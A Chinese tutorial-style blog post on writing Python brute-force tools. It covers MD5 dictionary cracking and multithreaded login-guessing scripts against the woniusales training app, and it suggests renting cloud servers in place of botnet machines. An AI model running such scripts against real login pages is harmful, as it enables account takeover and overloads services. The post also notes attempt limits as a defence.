12-python编写暴力破解poc

一、爆破MD5

场景:已知MD5加密字符串,如何得知明文?

解决方案:

算法碰撞,一串128位的MD5(32位16进制)其组合数量

字典碰撞,给定一个字典文件,读取里面的密码明文,再对其进行MD5,

再和目标字符串对比,如果相同,则明文找到。

二、爆破woniusales

1、验证登录请求

使用burp抓包,查看登录的数据怎么构造,以及响应的url地址

2、已知用户名,爆破密码

import time,requests
# 爆破Woniusales:用户名和密码都不知道,1、用户名已知,密码未知
def ws_01():
    with open('文件的位置') as file:
        pw_list = file.readline()
    url = ''
    count = 0
    for password in pw_list:
        data = {'username':'woniu','password':password.strip(),'verifycode':'0000'}
        resp = requests.post(url=url,data=data)     #去进行post请求
        if 'login-fail' not in resp.text:
            print(f"疑似破解成功,密码为:{password.strip()}")
            exit()
        count += 1
    print(f'共计尝试{count}次')


if __name__ == '__main__':
    # md5('cxcsd')
    ws_01()

3、未知用户名,未知密码爆破

# 未知用户名,未知密码,多线程并进行破解
#500用户,6000条密码,最多300万次登录操作,
# 同时,由于多线程并发登录,导致服务器压力倍增(DOS),进而导致服务器响应时间会显著变慢
# 如果服务器不小心崩溃,那么很有可能引起重视,进而检测访问日志,封锁IP,(DDOS可以更好模拟)

# 每一个用户一个线程,每个线程循环6000次
count = 0
def ws_thread(username):
    with open('密码文件的位置') as file:
        pw_list = file.readlines()
    url = 'http://'   # 这儿的路径是登录界面响应的界面
    global count
    for password in pw_list:
        data = {'username': username, 'password': password.strip(), 'verifycode': '0000'}
        resp = requests.post(url=url, data=data)  # 去进行post请求
        if 'login-fail' not in resp.text:
            print(f"疑似破解成功,密码为:{password.strip()}")
            exit()
        count += 1
    print(f'共计尝试{count}次')

# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10():
    pass

if __name__ == '__main__':
    # 多线程,读取用户字典,并遍历获取用户名
    with open('用户文件所在的位置') as file:
        user_list = file.readlines()
    for username in user_list:
        # 这儿有多少个线程,我就并发多少个用户
        threading.Thread(target=ws_thread,args=(username.strip(),)).start()

采用多线程去处理大数据

# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10(sublist):
    # 怎么去分配任务-->指派任务--》指派更加有规律的方式--》分类的方式
    #先进行列表的可行性分析
    # with open('用户文件') as file:
    #     user_list = file.readlines()
    # # print(user_list[0:10])  # 可以通过切片的方式进行操作
    # # print(user_list[10:20])
    # # print(user_list[20:30])
    # # # 通过列表切片的方式将列表分配到每一个小组里,每个小组10个用户
    # for i in range(0,len(user_list),10):  # 对列表进行切片处理分成一个子列表
    #     print(user_list[i:i+10])
    with open('密码文件的位置') as file:
        pw_list = file.readlines()

    for username in sublist:
        url = ''
        for password in pw_list:
            data = {'username': username.strip(), 'password': password.strip(), 'verifycode': '0000'}
            resp = requests.post(url=url, data=data)  # 去进行post请求
            if 'login-fail' not in resp.text:
                print(f"疑似破解成功,账号为{username.strip()}, 密码为:{password.strip()}")
                exit()



if __name__ == '__main__':
    # 每个线程负责10个用户
    with open("用户的位置") as file:
        user_list = file.readlines()

    for i in range(0,len(user_list),10):
        sublist = user_list[i:i+10]   # 设置子进程,核心点是切片,作为参数把列表传递过去
        threading.Thread(target=ws_thread_10,args=(sublist,)).start()

三、爆破条件与防范

1.登录成功或失败的条件可验证

2.服务器端允许多次失败登录而不会禁止

首先监控到登录的请求 ,查看通行的过程

查看登录是发送了那些字段,

查看登录后的响应,

从流量上来看DOS攻击和暴力破解特征是一样的

暴力破解的点

一、应用场景:

只要有密码的地方,均可以尝试使用爆破方案

二、应用条件:

爆破不受次数的限制,可以一直尝试,所以爆破的防护方案:次数限制,

没有肉鸡怎么办?

去云服务器平台临时租赁

爆破分类:

离线爆破

在线爆破

作业:如何爆破wifi?如何防护?

爆破WiFi简单粗暴的进入内网。

一个进程,的线程有限,如何能够提升并发能力呢?

1.将任务分配到不同电脑上,

2.在同一台电脑上运行多个程序。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/582053.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

react 学习笔记二:ref、状态、继承

基础知识 1、ref 创建变量时,需要运用到username React.createRef(),并将其绑定到对应的节点。在使用时需要获取当前的节点; 注意:vue直接使用里面的值,不需要再用this。 2、状态 组件描述某种显示情况的数据&#…

tkinter中是否有必要使用类

1. 问题背景 在使用tkinter编写事件驱动程序时,Fredrik Lundh的教程中提到,创建一个类(App)作为框架,并以类的实例运行程序,这样会更好,而不是直接启动程序。 以下是问题: 在tkin…

【Go语言快速上手(五)】文件操作协程操作

💓博主CSDN主页:杭电码农-NEO💓   ⏩专栏分类:Go语言专栏⏪   🚚代码仓库:NEO的学习日记🚚   🌹关注我🫵带你学习更多Go语言知识   🔝🔝 GO快速上手 1. 前言2. GO语言的文件操…

武汉星起航:挂牌上海股权中心,开启资本新篇章助力跨境电商飞跃

2023年10月30日,武汉星起航电子商务有限公司在上海股权托管交易中心成功挂牌展示,标志着这家在跨境电商领域拥有卓越声誉的企业正式迈入了资本市场的大门。对于武汉星起航来说,这不仅是其发展历程中的一个重要里程碑,更是对其业务…

Python学习笔记------异常

当检测到错误时,Python解释器就无法继续执行了,反而出现一些错误提示,就是所谓异常(bug) 1、异常的捕获方法 任何程序运行过程中都可能出现异常,我们可以在力所能及的范围内,对可能出现的bug提…

C语言趣味代码(四)

这一篇主要编写几个打字练习的小程序,然后通过这些小程序的实现来回顾复习我们之前学过的知识,然后通过这写打字练习的小程序来提升我们的打字技术和编程技术。 1. 打字练习 1.1 基本打字练习 1.1.1 基本实现 首先我们来制作一个用于计算并显示输入一…

ip网络广播前置放大器SV-7031 接纯后级功放

ip网络广播前置放大器SV-7031 接纯后级功放 感谢您使用我们的网络前置放大器SV-7031。 SV-7031具有1路AC200V OUT电源输出,1路AC200V IN电源输入;RJ45 网络接口,具有网络音频广播、本地广播功能。 18123651365 ip网络广播前置放大器SV-703…

vue-cli+vue3+vite+ts 搭建uniapp项目全过程(一)

unapp官方提供了cli 脚手架创建 uni-app 项目的文档 Vue3/Vite版要求 node 版本 18、20使用Vue3/Vite版创建不会提示选择模板,目前只支持创建默认模板 本文以vue3vitets为例 1、初始化项目 npx degit dcloudio/uni-preset-vue#vite-ts my-vue3-project 执行完生成…

就业班 第三阶段(tomcat) 2401--4.28 day1 tomcat1安装配置及单机多实例

企业 Tomcat 运维 文章目录 企业 Tomcat 运维一、Tomcat 简介1、Tomcat好帮手---JDK2、安装Tomcat & JDK1、系统环境说明2 、安装JDK3、安装Tomcat 二、Tomcat目录介绍1、tomcat主目录介绍2、webapps目录介绍3、Tomcat配置介绍(conf)4、Tomcat的管理…

Linux-管道通信

1. 管道概念 管道,是进程间通信的一种方式,在Linux命令中“ | ”就是一种管道,它可以,连接前一条命令,和后一条命令,把前面命令处理完的内容交给后面,例如 cat filename | grep hello …

本地部署 Meta Llama3-8b

Meta Llama 3(8B) Instruct model performance Meta Llama 3(8B) Pre-trained model performance 使用 Ollama 运行 Llama3 访问 Tags llama3,选择你想运行的模型,例如,8b-instruct-q8_0 拷贝并运行命令,ollama run llama3:8b-…

秋招后端开发面试题 - Java语言基础(上)

目录 Java基础上前言面试题Java 语言的特点JVM JDK JRE什么是跨平台性?原理是什么?什么是字节码?采用字节码的好处是什么?Java 和 C 的区别?注释?关键字关键字 instanceof类型转换关键字 this 和 super关键字 final finally fin…

Android数据恢复:如何在手机上恢复丢失的文件和照片

我们都有 我们错误地从手机中删除重要内容的时刻。确实如此 不一定是我们的错。其他人可以对您的手机数据执行此操作 有意或无意。这在某个时间点发生在我们所有人身上。 但是,今天市场上有各种各样的软件可以 帮助恢复已删除的文件。这些类型的软件被归类为数据恢复…

Linux命令大全 以及搭建hadoop

Liunx系统目录 ├── bin -> usr/bin # 用于存放二进制命令 ├── boot # 内核及引导系统程序所在的目录 ├── dev # 所有设备文件的目录(如磁盘、光驱等) ├── etc # 配置文件默认路径、服务启动命令存放目录 ├── home # 用户家目录&#…

UEFI安全启动模式下安装Ubuntu的NVIDIA显卡驱动

UEFI安全启动模式下安装ubuntu的nvidia显卡驱动 实践设备:华硕FX-PRO(NVIDIA GeForce GTX 960M) 一、NVIDIA官网下载驱动 1.1在浏览器地址栏输入https://www.nvidia.cn/drivers/lookup/进入网站,接着手动驱动搜索,并…

【C语言】:动态内存管理

1、为什么要有动态内存分配2、动态内存管理函数2.1 malloc2.2 free2.3 calloc2.4 realloc 3、常见的动态内存的错误3.1 对NULL指针的解引用操作3.2 对动态开辟空间的越界访问3.3 对非动态开辟内存使用free释放3.4 使用free释放一块动态开辟内存的一部分3.5 对同一块动态内存多次…

stm32单片机开发三、DMA

DMA其实就是一种将ADC的数据寄存器、串口的数据寄存器等等一些数据放到sram中特定位置,方便CPU去读取 比如ADC转换,DMA直接转换的ADC的值放在内存中的特定位置,CPU可以直接去读取 uint16_t AD_Value[4]; //定义用于存放AD转换结果的全局…

告别繁琐!小浪助手助你轻松下载学浪视频

小浪助手,一站式学浪视频下载工具,能让你轻松下载学浪视频 工具我已经打包好了,有需要的自己取一下 学浪下载器链接:https://pan.baidu.com/s/1djUmmnsfLEt_oD2V7loO-g?pwd1234 提取码:1234 --来自百度网盘超级会…

Pycharm配深度学习环境所遇到的部分问题

问题1:Anaconda prompt界面安装CUDA出现的问题: 不管是:conda install pytorch torchvision torchaudio cudatoolkit11.3 -c pytorch 还是:pip ****什么的 问题描述:EnvironmentNotWritableError: The current user does not have write p…

python应用-socket网络编程(1)

目录 1 先简单回顾下客户端和服务端通信的知识 2 服务端常用函数 3 客户端常用函数 4 服务端和客户端都用的函数 5 示例介绍客户端和服务端通信过程 6 建立服务端套接制 7 创建服务端函数socket.create_server() 8 创建客户端套接字 9 客户端连接函数socket.create_co…